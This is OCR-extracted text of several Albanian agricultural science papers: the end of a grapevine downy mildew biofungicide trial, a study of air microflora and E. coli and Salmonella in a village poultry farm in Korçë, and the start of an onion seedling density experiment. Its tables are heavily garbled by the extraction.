dhe na lejon pér té vazhduar mé tej analizén e té dhénave.

llustrimin e kétyre ndryshimeve té biofungicideve té pérdorura (trajtimeve) pér
Indeksin e sémundjes (Imc-ja né % ) né gjethe dhe né veshul kundér vrugut té
hadhisé (Plasmopara viticola (Berc e Curt) pér vitin 2011 né fermén Bio né fshatin
Marikaj Tirané pér vitin e studimit e jep dhe figura Nr.3 ku biofungicidet gé kané
ndryshueshméri dhe té vértetuar statistikisht pér nivelin e propabilitetit P=0.05 jané
me rrathé blu dhe pikérisht biofungicidet Cuprozin fl, Algin Biovital,Muco-Sin,
Frutogard dhe alternim biofungicidesh té cilét jané nén vlerén e mesatares sé
pérgjithéshme pér vlerésimin né gjethe jané né vlerén 25.5 % dhe né veshul pér
vlerén 19.01%.

Krahasimet e Imc-vené % mesatare me kontrollin né gjethe, duke pérdorur metodén
Dunnett test (me DMV =2.76 pér @=0.05 %) tregon praniné e ndryshimeve té
vértetuara ndérmjet varianteve t¢ mare né studim ku variantet me t€ mira jané
trajtimet me biofungicidet Cuprozin fl dhe varianti Alternim té cilét jané shénuar me
germat a dhe ab dhe mé pas vijné biofungicidet Algin Biovital, Muco-Sin, Frutogard
gé jané shénuar me gérmén b (shih tabela Nr.3).

5- Perfundime dhe rekomandime

Duke u bazuar né rezultatet e paragitura mé lart né kushtet e nje bujgesi Bio té
gjitha produktet e testuara kané géné efektive né kontrollin e P. viticola.
Rezultatet mé t& mira né kushtet e eksperimentit toné ka qéné ai me formulimin
me bazé bakri (Cuprozin fl), dhe ai me alternim (ku jané alternuar té gjitha
biofungicidet né studim).

Por duke paré rezultate e prodiukteve natyrore si (Algin Biovital ,Muco-
SindheFrutogard) jané né gjéndje pér té kontrolluar miré vrugun e hardhisé(~.
Viticola).
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TabelaNr.1. Té dhénat mbi fushén eksperimentale

N[ Vendi Kultiv | Viti i Distan Tipii Skema Nr i Tipii | Volu
rii ari mbjell | cate kultivi | eksperi bime | pomp [ mii
eksperi jes mbjellj | mit mentale | ve/ es ujit
mentit es varia I/ Ha
nt
Fshati Bllok i Tre 400
Marikaj randomiz rreshta Ine'
. . uar me 4 me 15 . maj
1 Basrjkla Merlot 2005 25X1.3 D_(_)plo perseritje bime 20litra | 4pe
Voré gijo 800 |
Tirane ne
Qersh
or
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Tabela Nr.2. Té dhénat specifike mbi biofungicidet e pérdorura

BIO FUNGICIDET KUNDER VrugutteHardhise (Plasmopara viticola (Berc e

Curt)
Tipi i | Doza e | Efektivit

N | Emertimi | Lendaaktive formuli | perdorimi eti  ne

r | tregetar mit dite

1 | Poltigliab | Solfato di rame 20% Pluhur 600gr/100I 7-14
ordolese

2 | Algin Algae extract Leng 250gr/100I 7-10
Biovital

3 | Muco-Sin | Clay with Al-sulfate Pluhur 250gr/100I 7-8

4 | Frutogard | Algae extract with | Leng 250gr/100I 7-10

potassium \ Phosphomat
Tabela Nr. 3. Mbi vlerésimin e Indeksit té sémundjes (Imc-ja né % ) né gjethe

dhe veshul kundér vrugut té hadhisé (Plasmopara viticola (Berc e Curt)pér vitin
2011 né fermen Bio né fshatin Marikaj Tirané

Vleresi | Variantet Imc —ja ne % >Imce - | Mes | Klasat
mi PL P2 |[P3 |P4 |JaPl+ | mc |sipas
P2+P3 o testit
0
+P4 Dunne
tt's
Cuprozinfl |9 10 10 13 42 11 a
Algin 20 17 18 15 b
Biovital 70 18
Muco-Sin | 16 17 15 19 67 17 |b
2 Frutogard 20 19 17 17 73 18 |b
=S | Alternim 15 |13 [15 |12 |55 14 [ab
S Kontroll 76 76 74 75 301 75 |c
£ Shuma 156 [ 152 [149 |151 |608 153
[72]
s Mesatarja 26 25.33 | 24.83 | 25.16 | 101.33 | 25.5
> DMV =2.76150 per @=0.05 %
== Cuprozinfl |5 7 10 6 28 7 a
E £ [Algin 15 |12 |13 |14 b
£ S | Biovital 54 14
> 2 [ Muco-Sin |11 12 10 12 45 11 |b
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Frutogard 16 13 15 11 55 14 c
Alternim 8.3 7.3 9.5 7.2 32.30 8.08 | a
Kontroll 66 |56 |64 |55 |24l 60 |d
Shuma 114,
1213 | 107.3 | 121.5 | 105.2 | 455.3 | 08
) 19.0
Mesatara | 5091 | 17.88 | 2025 | 1753 | 75.88 | 1

DMV =2.76150 per @=0.05 %

Tabela Nr.4. Analiza e variancés (ANOVA ) mbi vlerésimin e Indeksit té
sémundjes (Imc-ja né % ) né gjethe kundér vrugut té hadhisé Plasmopara

viticola (Berc e Curt) pér vitin 2011 né fermén Bio né fshatin Marikaj Tirané.

Vlerés | Burimet e | Shkal | Shuma | Mesata | Vlerate < F >
imi Variacionit | 1€t e | kuadra | rjakua [ < Fakti | < =
95 99
% %
Gjeth | Trajtimet 5 12124, | 2424.8 | 852.4922 | 2.90 | 4.55
e 33 67 wx 12 56
Perseritjet 3 4.3333 | 1.4444 | 0.507813 | 3.28 | 5.41
33 44 NS 73 69
Gabimi 15 42.666 | 2.8444
67 44
Totali i|23 12171.
variacionit 33
Veshu | Trajtimet 5 8331.1 | 1666.2 | 265.6817 | 2.90 | 4.55
| 52 3 fakad 12 56
Perseritjet 3 38.624 | 12.874 | 2.052907 | 3.28 | 5.41
58 86 NS 73 69
Gabimi 15 94.072 | 6.2715
92 28
Totali i|23 8463.8
variacionit 5

**:. E vértetuar pér niveline propabilitetit 1%(p < 0.01) ; *: E vértetuar pér
niveline propabilitetit 5% (0.01 =< p <0 .05) ;NS: Pa vértetesi té propabilitetit

(p >=0.05)
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Figura Nr.1. Celsi fushor i vlerésimit(SAD s) té vrugut té hadhisé (Plasmopara
viticola (Berc e Curt) né gjethe dhe veshul.

CELSI I VLERESIMIT TE VRUGUT NE HARDHI NE GJETHE DHE VESHUL

Pennbkrinn 1 Intesifetit aipas

10.1-25%" 25.1-50% S0.1-75% =T5.1%

Inteniteti

i s 2 B 4 5

[ Swrims ; { RUCLTY; 208 VRAPLE. 2011}

Figura Nr.2. Té dhénat mbi kushtet klimaterike pér vitin 2011 né Tirané si dhe
koha e ¢fagjes sé njollave té vajit dhe trajtimet kimike.

Te dhénat mbi kushtet atmosferike Viti 2011Tirané

g

% 110.00

£ 100.00

2 90.00 . Reshje
2 80.00 — T Ve
8 70 —&— L Mes
= g 60.00 ;

qc_) 50.00 MinT
s 40.00 Max T
% 30.00 —¥%— L min

g 20.00 —e— | Max
£ 10.00

& 0.00

Shénim : Trajtimet jané me shigjeté me ngjyré kafe té erret. Cfagja e njollave té
vajit me shigjetété celur
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Figura Nr.3. Diagrama e boksploteve (variancat, deviacioni standart dhe
mesatarja e Imc-ve né %) ndaj vruguttéhardhisé(Plasmaopara viticola (Berc e
Curtné gjethe (majtas) dhe né veshul (djathtas)pér vitin 2011 né fermén Bio né
fshatin Marikaj Tirané.
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Grafiku Nr.1. Paragitja grafike e Indeksit mesatar té sémundjes (Imc ne % ) né
gjethe dhe veshul e vrugut té hadhiséPlasmopara viticola (Berc e Curt)pér
vitin 2011 né fermén Bio né fshatin Marikaj Tirané
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Foto 1. A) Njollat e vajit mbi gjethe. B) Frutifikimi gri né anén e poshtmeté
gjethes. C) Démtimi né lulézim dhe formimi i gérmés S. D) Démtimet e veshulit
né pjekje

‘murme (Flasmopars
- e
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CILESIA E AJRIT DHE 1ZOLIMI | ENTEROBAKTEREVE NE NJE
PULARI NE FSHATIN VOSKOP, KU PULAT RRITEN NE KUSHTE
NATYRALE DHE PA INJEKTIM ANTIBIOTIKESH NE ZONEN E
KORCES
Sulltana Ajce, Irena Kallgo
Universiteti “Fan S. Noli”, Korg¢é

Pérmbledhje

Mikroflora e ajrit éshté njé faktor kryesor i cilésisé sé mishit dhe vezéve té pulave.
Né ajér ndodhen mikroorganizma saprofite, patogjené dhe parazité.Megénése éshté
rritur né ményré té konsiderueshme pérdorimi i mishit té pulés, nése ai
trajtohet me antibiotiké rritet né meényré té vazhdueshme ngarkesa e
antibiotikéve né organizmin e njeriut, duke rritur shkallén e imunitetit dhe
duke e béré organizmin rezistent atéheré kur ai né patologji specifike ka nevojé pér
pérdorim antibiotikésh.

Né vijim té studimit té mikroflorés sé ajrit né Pulari Korga (/mpiant pularie), studimi
konsiston né krahasimin e mikroflorés sé ajrit te njé pulari fshati ku pulat ushgehen
me produkte natyrale dhe nuk i injektohen antibiotiké. Rezultatet e analizave té
kryera né sektorin jashté dhe sektorin brenda treguan njé numér shumé té vogeél té
mikroorganizmave né pulariné e fshatit, ku né sektorin jashté gjenden 30 koloni,
kurse né sektorin brenda 6 koloni. Krahasuar me impiantin e Pularisé Korca numri i
kolonive né pulariné e fshatit rezultoi mé ivogél.U kryen analizat dhe pér izolimin e
mikroorganizmave patogjene (E. coli dhe Salmonella), me metodén pérzgjedhje-
rastési né 17 pula.Theksohet se né pulariné e fshatit VVoskop pulave nuk i ishin
injektuar vaksina (antibiotiké kundér Sa/monella), kursetek impianti i pularisé Korca
(pulave i ishin injektuar vaksina).

Fjalé celés:pulari fshati, kushte natyrale, vaksina, antibiotiké, Salmonella,
patogjené.

Abstract

Air microflora is a major factor top quality of poultry meat and eggs. In the air, there
are saprophytes microorganisms, pathogens and parasites. Because it is grown use of
poultry meat, if it is treated with antibiotics, increased loads of antibiotics in the
human body, increasing the degree of immunity, that makes the body resistant, when
it in specific pathology it need for antibiotics. The following study for air microflora
in Korca poultry (poultry plant), study consists in comparing of air microflora to a
farm poultry, where the chickens are fed with natural products and not injected
antibiotics (in live chickens). Results of the analyzes to village poultry respectively:
in outside sector (30 colonies) and within sector (hutch sector) (6 colonies) showed a
very low number microorganisms compared to poultry Korca. Analyzes were
performs and for isolation of pathogen microorganisms (E. coli, Salmonella) with
method selection/incidence in 17 chickens in village poultry. Note that in poultry of
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Voskop village, chickens were not injected vaccine (antibiotics against Salmonella),
while to poultry plant Korca (chickens were injected vaccine against Salmonella).

Key words: farm poultry, natural conditions, vaccine, antibiotic, Salmonella,
pathogen.

Hyrje

Né Indonezi pulat kishin réndési té madhe gjaté ceremonisé sé kremtimit té
Hinduve.Zogu i pulés konsiderohej si kanal pér shpirtrat e kégia té cilét mund té
ishin té pranishém né ceremoni.Pula (gallus gallus domesticus) éshté njé shpend
shtépiak.Pulat jané kafshét shtépiake mé té zakonshme dhe mé té pérhapura, pra né
boté ka mé shumé pula sesa ndonjé shpend tjetér.Njerézit i mbanin pulat kryesisht si
burim ushqimi, pér té konsumuar mishin dhe vezét e tyre.Pula shtépiake e
kaorigjinén kryesisht nga njé shpend i kuq gé jetonte né xhungél (Gallus gallus) dhe
éshté Kklasifikuar shkencérisht si e njéjta specie.Pulat jané omnivoré (gqé hané
gjithgka).Né botén e egér, ato shpesh e kruanin dheun pér t& kérkuar faréra, insekte
dhe kafshé mé t& médhaja té tilla, si:hardhuca dhe miry.

Pér arsye té kostos relativisht t& ulét, zogu i pulés éshté njé prej mishrave té
pérdorura mé shumé né boté.Pothuajse té gjitha pjesét e zogjve mund té pérdoren si
ushgim, dhe mishi i tyre mund té gatuhet me ményra té ndryshme.Mishi i pulés dhe
nénproduktet e tij béjné pjesé né grupin e madh té produkteve ushgimore té
konsumueshme. Konsumi i tyre ka ardhur né rritje dhe kjo lidhet me: biodiversitetin
shqgiptar dhe traditén ekzistuese pér konsumin e kétij produkti; ¢mimin relativisht
normal me té cilin produktet e pularisé i ofrohen konsumatorit; vlerat ushqyese gé
ofrojné, duke evidentuar njé reduktim té lipideve gé do té shkaktonin probleme té
pariparueshme té sistemit kardiovaskular. Veprimi i substancave me natyré
farmaceutike, antibiotikéve, rezulton efikas sidomos né ato gjini e specie gé jané
té ndjeshme dhe shumé té ndjeshme ndaj veprimit té& substancave antibiotike.
Por, megénése aktualisht éshté rritur né ményré té konsiderueshme pérdorimi i
mishit té pulés, nése ai trajtohet me antibiotiké rritet né meényré té
vazhdueshme ngarkesa e antibiotikéve né organizmin e njeriut duke rritur
shkallén e imunitetit dhe duke e béré organizmin rezistent atéheré kur ai né
patologji specifike ka nevojé pér pérdorim antibiotikésh [1], [2], [3].

U kryen analizat mikrobiologfike té ajrit né pulari fshati (Voskop), zona e

Korgés, né sektorin jashté dhe né sektorin brenaa (kotec).

Krahasimi i analizave mikrobiologjike té afrit né pulariné e fshatit me analizat
mikrobiologyike té pularisé Korga (pulat té trajtuara me antibiotiké)

1zolimi I E. coli dhe Salmonellave né pfesén abdominale te pulat me metodén
pérzgjedhfe-rastési né pulariné e fshatit (pula té rritura né kushte natyrale dhe té
patraftuara me antibiotiké)

Analizat u kryen né “Laboratorin e Sigurisé Ushgimore” té qytetit té Kor¢és dhe
“Laboratorin Mikrobiologjik” t€ Universitetit “Fan S. Noli’Korcé, né impiantet e
pularive té garkut Korcé.
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Materiale dhe metoda

Pér analizat e mikroflorés sé ajrit né sektorét e pularive u pérdor metoda e
sedimentimit (metoda e reshjes mikrobike).Kjo metodé bazohet né dukuriné e
“reshjes” mikrobike, d.m.th né rénien e vazhdueshme t& mikroorganizmave té ajrit
né pjaté.Kjo metodé jep rezultate pér sasiné e mikroorganizmave né ajér.Metoda e
sedimentimit éshté e thjeshté dhe e pérshtatshme pér puné praktike.Pér té pércaktuar
numrin e mikroorganizmave gé ndodhen né ajrin e njé lokali ose té njé hapésire si
dhe cilésiné e tyre éshté e domosdoshme qé ata té “mbillen” (kultivohen) pjata me
terren.Né pjatat me terren, ményra e veprimit. Né fillim merren pjata Petri sterile.
Pastaj né banjé uji, shkrihen terrenet qé do té pérdoren. Mbas ftohjes né 40-45°C
terrenet zbrazen né pjatat e Petrit duke e hapur pak kapakun e tyre né flakén e
llambés sé alkoolit dhe duke i mbyllur ato menjéheré. Lévizen me kujdes pjatat duke
i rrotulluar mbi tavoling, pastaj lihen té ftohen. Pas ftohjes ato mbéshtillen me letér
sterile. Né sektorét ku do té béhet pércaktimi i mikroflorés sé ajrit nxirren pjatat nga
letrat dhe vendosen njéra afér tjetrés. Ato vendosen né vende ku nuk ka lévizje ose
rryma ajri. Pastaj hapen pjatat dhe mbahen té hapura 20-30 min. Pas késaj ato
mbyllen, kthehen pérmbys dhe inkubohen né termostat né 37°C. Mé pas béhet
numérimi né 24-oréve, pas 48-oréve dhe pas 7-ditésh pér myqget.Kolonité me pjatat
me terren PCA, Agar gjak, Capek numérohen mbas 24 oréve, 48 oréve, ndérsa ato
me Capek mbas 7 ditésh sepse myket zhvillohen mé me ngadalé. Numérimi i
kolonive béhet duke kthyer pjatén me fund nga sipér dhe duke e vendosur até né njé
sfond té errét (flaké letre té errét). Kolonité duken né formé pikash me madhési dhe
forma té ndryshme. Pér t& ménjanuar numérimin dy heré té té njéjtave koloni secila
koloni e numéruar shénohet me bojé né pjesén e poshtme té fundit té pjatés.
Kolonité gé numérohen konsiderohen si pasardhése té gelizave té& mikroorganizmave
prandaj, sipas numrit té kolonive té rritura, mund té pércaktohet sasia e
mikroorganizmave gé ndodhen né ajér né kohén e mbijelljes (kultivimit).Cilésia e
ajrit mund té pércaktohet né bazé té numrit té kolonive gé rriten né pjaté. Késhtu, pér
shembull, né gofté se numri mesatar i kolonive té rritura né dy pjata me rreze 4.5-5
cm dhe me terren agar e buljon mishi té peptonizuar, té Iéna né kontakt me ajrin pér
20 minuta, arrin deri né 200 atéheré ajri konsiderohet i pastér, ndérsa néqoftése,
éshté mbi 200, ai konsiderohet i molepsur [4], [5]. Pér vlerésimin e cilésisé sé mishit
té pulés ka réndési t¢ madhe pércaktimi i mikroflorés sé ajrit dhe inspektimi i
fabrikés pér té studiuar ndikimin e mikroflorés sé ajrit té sektoréve té ndryshém mbi
produktin gé po analizohet, pra mishin e pulés [6].

U pérdorén terrenet PCA pér bakteret, dhe Capek pér myqget. Kurse pér rezultate
mé efikase u pérdor edhe terreni Agar gjak (gjak dashi) pér mikrofloré té
pérgfithshme. U punua me dy paralele pér secilén mostér.

Pér mikrofloré patogjene pérdoren terrene selektive DC. Pér identifikimin e
mikroorganizmave patogjené kryhen prova biokimike né terrene selektive. Kolonité
e dyshimta pér Salmonella kalohen né terren Hayn dhe Kristenzen.Pér identifikim té
sakté pérgatiten preparate me ngjyrosje sipas Gramit dhe preparate té thjeshta dhe
shikohen né mikroskop né zmadhimin 100.Endo Agari éshté terren selektiv,shérben
pér vénien né dukje té enterobaktereve patogjene, si: £.coli; Salmonella, Shigella. Né
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kété terren prezenca e sulfidit dhe e fuksinés frenojné rritjen e baktereve gram +. Né
terrenin Endo + Agar dallohen shumé miré baktere gé jané laktozé — nga ato laktozé
+, késhtu p.sh kolonité e Salmonellavedhe t&€ Shigellave, gé nuk e fermentojné
laktoz (laktoz -) dallohen nga kolonité e tyre té rritura pa ngjyré kurse kolonité e E£.
colit gé e fermentojné laktozén (laktoz +), marrin ngjyré té kuge dhe shpesh ato
paragiten me shkélgim metalik nga clirimi i fuksinés dhe lidhja me sulfidin. Ky
terren pérdoret gjerésisht né laborator bakterologjik kryesisht pér diagramé
bakterologjike téE. colit. Terreni Endo-Agar ka pH = 7,4 ruhen né frigorifer pér
disa dité ose né ambient té errét. Terreni i sapopregatitur ka ngjyré viollcé té
celét.Kété ngjyré duhet té mbajé deri né pérdorimin e tij.Lénia e terrenit né ambient
té jashtém me drité nga oksidimi i sulfidit ai merr ngjyré té kuge té errét.Ky terren
éshté i papérdorshém. Né kété terren rriten pérve¢ Sal/monellave, Shigellave dhe
Escherichia coli edhe enterobakteret, si: Citrobacter, Klepsiella, baktere koliforme té
tjeré té cilét dallohen nga koloni té kuge té médha, mukoze dhe pa shkélgim metalik.

Vlerésimi i kolonive né DC

Né kéto terrene Salmonella typhipas njé nate inkubimi rriten pa ngjyré ose rozé té
celét dhe pas dy netésh inkubimi kolonité béhen pak té turbullta, shpesh me njé piké
ngjyré gri té errét né gendér. Kolonité e Salmonella paratyphi B si dhe Salmonellaté
tjera rriten si kolonité e Sallmonela typhipor ato pas 48 orésh dallohen nga
madhésia e tyre, pika e zezé né gendér té kolonisé. Kolonité jané mé té ngritura mbi
sipérfagen e terrenit nga ato té Salmonellave typhi.Shigelat rriten fillimisht né koloni
pa ngjyré mé voné ato béhen lehtésisht rozé pa piké té zezé né gendér té
kolonisé.Kjo i dallon nga Salmonellat. Né té dy terrenet DC dhe SS agar mund té
zhvillohen dobét edhe baktere té tjeré, si:E.coli, Proteus por ato dallohen miré
sidomos kolonité e E.colit té cilat jané té médha té turbullta, nqfyré rozé deri né té
kuge.Edhe Klepsiellatrriten né koloni t&¢ médha mukoze, té ngritura né sipérfagen e
terrenit dhe shpeshheré té bashkuara.Miré dallohen edhe kolonité e rritura té
Pseudomonas aureginoza té cilat kané ngjyré jeshile dhe erékarakteristike té lules sé
blirit

Rezultate dhe diskutime

Analizat mikrobiologjike né pulariné e fshatit VVoskop (zona e Korgés):Mikroflora e
pérgjithshme e ajrit té pularisé né kushte natyrale né dy sektoré:sektori jashté
(oborri), sektori brenda (kotec).

Pasqyra 2.Mikroflora e ajrit né terren Agar-gjak, PCA dhe terren Capek pér
myaqet né njé pulari fshati, né Voskop té Korgés.

Dt 16.01.2013 Terrenet ushqyese
PCA Agar gjak Capek
Sektorét Parale | Koha e | Koha e | Koha e inkubimit
let inkubimit inkubimit
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24 0ré | 480ré | 240ré | 480ré | 24 0ré | 48 7 dité
oré
Sektori i jashté | | 26 35 8 25 3 4 10
(oborri) 1 34 29 4 35 5 6 10
Mesat. | 30 32 6 30 4 5 10
Sektori brenda | | 8 10 5 14 1 2 2
(kotec) 1 8 8 7 8 1 8 8
Mesat. | 8 9 6 11 1 5 5

Figura 2.Ngarkesa mikrobiale ¢ sektorit jashtédhe brendaté pularisésé fshatit
né terren Agar-gjak, pas 24 dhe 48 oréve.
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Numri mé i larté i kolonive éshté né sektorin jashté (30 koloni), por numri éshté
brendanormave té lejuara dhe sektori éshté i pastér.Krahasuar me sektorin jashté té
impiantit té Pularisé Korca ngarkesa mikrobiale éshté mé e vogél.

Figura 3.Ngarkesa mikrobiale e sektorit jashtédhe brenda té pularisésé fshatit
né terren PCA, pas 24 dhe 48 oréve.
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Figura 4. Ngarkesa mikrobiale e sektorit Jashtédhe brenda té pularisésé fshatit
né terren Capek pas 24, 48 dhe 72 oré.
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Pasqyra 3./zolimi i baktereve patogjene (E.coli dhe Salmonella) né 17 pula né
terren DC pas gjallérimit té kulturés bakteriale né Selenid me metodén
pérzgjedhje-rastési né pulariné e fshatit Voskop (Korgé).

Koha e Inkubimit 48 oré

Pula Kolonité E.coli
1 -

2 -

3 -

4 N

5 23 koloni
6 -

7 -

8 -

9 -

10 -

11 3 koloni
12 11 koloni
13 -

14 8 koloni
15 -

16 4 koloni
17 -

Provat biokimike né terren Hayn dhe Kristenzen treguan se kolonité e rritura jané E.
coli.Pulat ishin té pastra me Salmonella (nuk u izolua asnjé koloni Salmonella).

25
20
15

10 11 3 “ E.coli
5 7 ! *}— Salmonella

o
2
=
]
o
=
‘=
£
S
=

5 0 5 10 15
pas 48 orl inkubimi terren DC

Figura 5. Numri i mikroorganizmave patogfene (E.coli) te pulat e pularisé sé
fshatit VVoskop, né 17 mostra pas gjallérimit né Selenid né terren DC pas 48
oréve.
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Pérfundime dhe rekomandime

Né vijim té studimit té cilésisé sé ajrit t& impianteve té pularive né Korcé, u krye
mikroflora e ajrit né njé pulari fshati (Voskop), ku pulat ushgehen né kushte natyrale
dhe theksojmé se pulave nuk i éshté injektuar antibiotik kundér Sal/monella.

1. Ngarkesa mikrobiale né terren PCA: Sektori jashté (oborr) u numéruan 32 koloni,
pas 48 orésh. Sektori jashté éshté i pastér.Ky éshté njé tregues i cilésisé
mikrobiologjike té pulave dhe vezéve. Sektori brenda (kotec) u numéruan 11 koloni,
pas 48 oré inkubimi. Sektori 8shté shumé i pastér.

2. Ngarkesa mikrobiale né terren Agar-gjak: Sektori jashté (oborr) u numéruan 32
koloni, pas 48 oré inkubimi kurse né sektorin brenda (kotec), 9 koloni. Vlerat jané
brenda normave té lejuara, sektorét jané té pastér.

3. Ngarkesa mikrobiale né terren Capek: Sektori jashté 10 koloni kurse sektori
brenda 5 koloni.

4. Ngarkesa mikrobiale e ajrit né pulariné e fshatit éshté shumé e ulét né krahasim
me impiantet e pularive, megjithése sektorét edhe kétu nuk jané té kontaminuar.

5. Preparatet e pérgatitura i pamé né mikroskop: kolonité me ngjyré bezhé
ishin: Streptococcus, kurse njé koloni me ngjyré rozé (sektori kotec), gé kishte tretur
terrenin ishte Staphylococcus(vile rrushi).

6. Myqet né terren Capek u identifikuan Penicillium.

7. 1zolimi i £. coli dhe Salmonellave né 17 pula né pjesén abdominale me metodén
pérzgjedhje-rastési né terren DC:

8. Kolonité me ngjyré té kuge u identifikuan E. coli. E. coli karakteristiké e pjesés
sé zorrés (mikroorganizém i kontaminimit fekal).Pulat ishin té pastra nga
Salmonella.
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NDIKIMI | FIDANEVE TE PERGATITUR NE MODULE
SHUMEKUBIKESHE DHE LLOJIT TE SUBSTRATIT NE TREGUESIT E
PRODHIMIT TE QEPES SE THATE

Yllson Shahinlli', Thoma Nasto®, Nevruz Zeka®, Avni Spaholli®
Qendra e Transferimit té Teknologjisé Bujgésore Korgé, Universiteti Bujgésor, Tirané
Universiteti “Fan S. Noli”, Korcé

Pérmbledhje

Ky eksperiment u krye né QTTB-né Korgé, me objektiv studimin e ndikimit té
llojit té substratit dhe dendésisé sé pérgatitjes sé fidanéve té gepés né treguesit
prodhues té tyre mbas trapiantimit né kushte té fushés sé hapur. Pér mbjellje u
pérdorén farat e hibridit ”Tak Star”. Né studim jané testuar tre lloje substratesh dhe
pesé dendési té fidanéve né fole. Dendésia e mbjelljes ka efekte té réndésishme né
lartésiné e biméve, numrin e gjetheve, trashésiné e kércellit t€ rremé, diametrin polar
dhe ekuatorial, madhésiné e bulbeve dhe né prodhimin pér njési té sipérfages.
Rezultate mé té mira né prodhim jané marré né variantin me dendési tre fidané pér
gelizé. Nuk evidentohen diferenca né lidhje me fidanét e pérgatitur né substrate té
ndryshme.

Fjalét kyce: Qepé, tabaka, substrat, fidané, dendési.

Abstract

This experiment was conducted in TTCA of Korga, with the objective of
studying the influence of substrate type and density of the preparation of the onion
seedlings in their production indicators after planting in open field conditions. For
planting onion hybrid seeds "Tak Star" were used. The study tested three types of
substrate and seedling density in five nest. Planting density has significant effects on
plant height, number of leaves, stem thickness false, ekuadorial and polar diameter,
the size of the bulb and the production per unit area. Better results in the production
were obtained with three seedlings per cell density version. No differences recorded
in connection with preparing seedlings in different substrates.

Keywords: Onion, trays, substrate, seedlings, density.

1. HYRJE

Qepa konsiderohet si njé nga perimet mé té réndésishme né Shqipéri. Né
shumicén e rasteve pérgatitja e fidanéve realizohet né farishte té€ zakonshme dhe mé
pas béhet trapiantimi i tyre né fushé me rrénjé té zhveshura (pa buké dheu), (Nasto
& Bardhi, 2004 etj. ). Por prodhuesit e gepés vazhdimisht jané né kérkim té
metodave dhe alternativave té reja pér pérgatitjen e fidanéve dhe mbjelljen e tyre.
Mbijellja e gepéve me fidané té pérgatitur né tava polisteroli (me buké dheu)
mundéson prodhime mé té garantuara (Herison etj., 1993). Pérgatitja e fidanéve
sipas ményrés tradicionale éshté njé mundési e miré pér pérgatitjen e fidanéve, por
pérgatitja e tyre né tava polisteroli konsiderohet si njé ményré mé e miré (Herison
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etj., 1993). Teknika pér té prodhuar fidané gepe népérmjet pérdorimit té tavave té
polisterolit me shumé geliza con edhe né pérmirésimin e treguesve ekonomiké
(Weerasinghe & Fordham, 1994, Tessarioli Neto, 1995; Modolo, 1998). Me ané té
késaj metode mund té eleminohet stresi i zénies sé fidanéve dhe pér rrjedhojé,
shkurtohet dhe cikli i kulturés (Minami, 1995). Konkurenca midis biméve né
zhvillimin e tyre rritet me rritjen e dendésisé sé fidanéve gjaté pérgatitjes sé tyre por
edhe né kushte té fushés sé hapur. Konkurenca midis biméve gjaté rritjes dhe
zhvillimit mund té ndikojé né pérmasat e fidanéve si dhe né zhvillimin e tyre pas
mbjelljes né fushé (Weerasinghe & Fordham, 1994). Autoré té tjeré si Weerasinghe
& Fordham (1994) dhe Mettananda & Fordham (1999), té cilét kané studiuar
ndikimin e numrit té fidanéve pér fole pér prodhimin e fidanéve té gepés, kané
evidentuar se pesha e gjetheve té thata dhe madhésia e fidanéve zvogélohen
ndjeshém me rritjen e dendésisé sé mbjelljes (1, 2, 3, 4, 5 dhe 6 fidané pér fole). Pra,
kur dendésia e fidanéve kalon mbi katér fidané pér fole, evidentohet zvogélim i
trashésisé sé diametrit té kércellit té rremé, té lartésisé sé fidanéve dhe té peshés sé
thaté té gjetheve. Gjithashtu edhe Boff & Debarba (1999) duke studiuar dendési té
ndryshme té pérgatitjes sé fidanéve té qgepés, kané evidentuar faktin se numri i
fidanéve né fole ka ndikuar né ményré té ndjeshme né lartésiné e fidanéve dhe
peshén e rrénjéve té freskéta. K&to madje kané treguar njé rénie lineare té tyre kur
numri i fidanéve pér fole rritet nga 1 né 3 fidané pér fole dhe akoma mé shumé kur
ky numér shkon né 6 fidané pér fole.

2. Materiali dhe metoda

Eksperimenti u krye né QTTB-né Korcé, me tre pérséritje sipas skemés sé bllokut té
randomizuar me variante té nénndaré. Llojet e substratit té pérdorur pérbénin
variantin kryesor ndérsa numri i biméve né fole, nénvariantet. Pér prodhimin e
fidanéve u pérdorén tabaka polisteroli me fole né formé kubi, ku ¢do tavé
pérmbante 248 fole. Secila nga foleté kishte njé volum prej 9. 7 cm® dhe té
shpémdara né njé raport 12 x 24 kubiké. Pér mbjellje u pérdor hibridi “Tak Star”.
Pér mbushjen e foleve u pérdorén tre substrate té ndryshém si mé poshté:

S1 - dherishte + NPK (15% N, 15% P,0s, 15% K,0);
S2 - dherishte + torfé (50% : 50%) + NPK (15%N, 15% P,0s, 15%K,0);
S3 - torfé + NPK (15% N, 15% P,0s, 15% K,0).
Mbjellja e tavave u realizua mé 5 mars té vitit 2011. Tavat e mbjella u

vendosén né bankina tip shtrati me gjatési 5 m, gjerési 2 m dhe lartési 0. 7 m. Pér
kété géllim u pérdor serra e mbuluar me material plastik.

Mbas rreth 15 dité nga mbirja e farave, u kryen ndérhyrjet e duhura pér
sigurimin e numrit té nevojshém té biméve né fole sipas kérkesave té eksperimentit,
duke eleminuar bimézat e tepérta. Pér ¢do fole u lané nga njé deri né pesé biméza,
sipas skemés sé méposhtme:

- V. 1 (njé bimé - fidan né fole); - V. 2 (dy bimé né fole); - V. 3 (tre bimé né
fole); -V. 4 (katér bimé né fole); - V. 5 (pesé bimé né fole).
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Né kushte t& fushés sé hapur, toka ku u vendos eksperimenti karakterizohej nga
tregues pjellorie uniforme dhe pasqyronte nivelin mesatar té pjellorisé sé tokave té
zonés, té pérshtatshme pér kultivimin e gepés. Mosha e fidanéve né kohén e
mbjelljes né fushé ishte 10 javé. Distancat e mbjelljes ishin 30 me 10 cm, duke
siguruar njé dendési mbjellje né fushé respektivisht 33, 66, 100, 133 dhe 166
bimé/m?.

Tabela Nr. 1. Té dhéna té analizave té tokés ku u ngrit eksperimenti.

Thellésia e tokés | pH P205 Azoti  (N,0)
ku merret mostra | yjor pHkripor | Mg/100  gr | %
toke
0-20 cm 7.82 7.00 6. 50 0.084
20-40 cm 7.82 7.00 7.50 0. 098

Menjéheré pas trapiantimit té fidanéve (me 1, 2, 3, 4 dhe 5 fidané pér kubik)
u krye ujitja pér té siguruar njé zénie sa mé té miré té tyre. Gjaté vegjetacionit u
kryen ujitje sipas kérkesave té biméve, né ¢do 10-dité dhe sasia e nevojshme e azotit
né tre duar. Eksperimenti u mbajt i pastér nga barérat e kéqgija népérmjet prashitjeve.
Gjaté gjithé vegjetacionit u mbajtén shénimet pérkatése, né pérputhje me fazat
fenologjike té zhvillimit té biméve té gepés, respektivisht né fazén e formimit té
gjethes sé 7, né fazén e formimit t& bulbit dhe né fazén e pjekjes teknike té bulbeve.
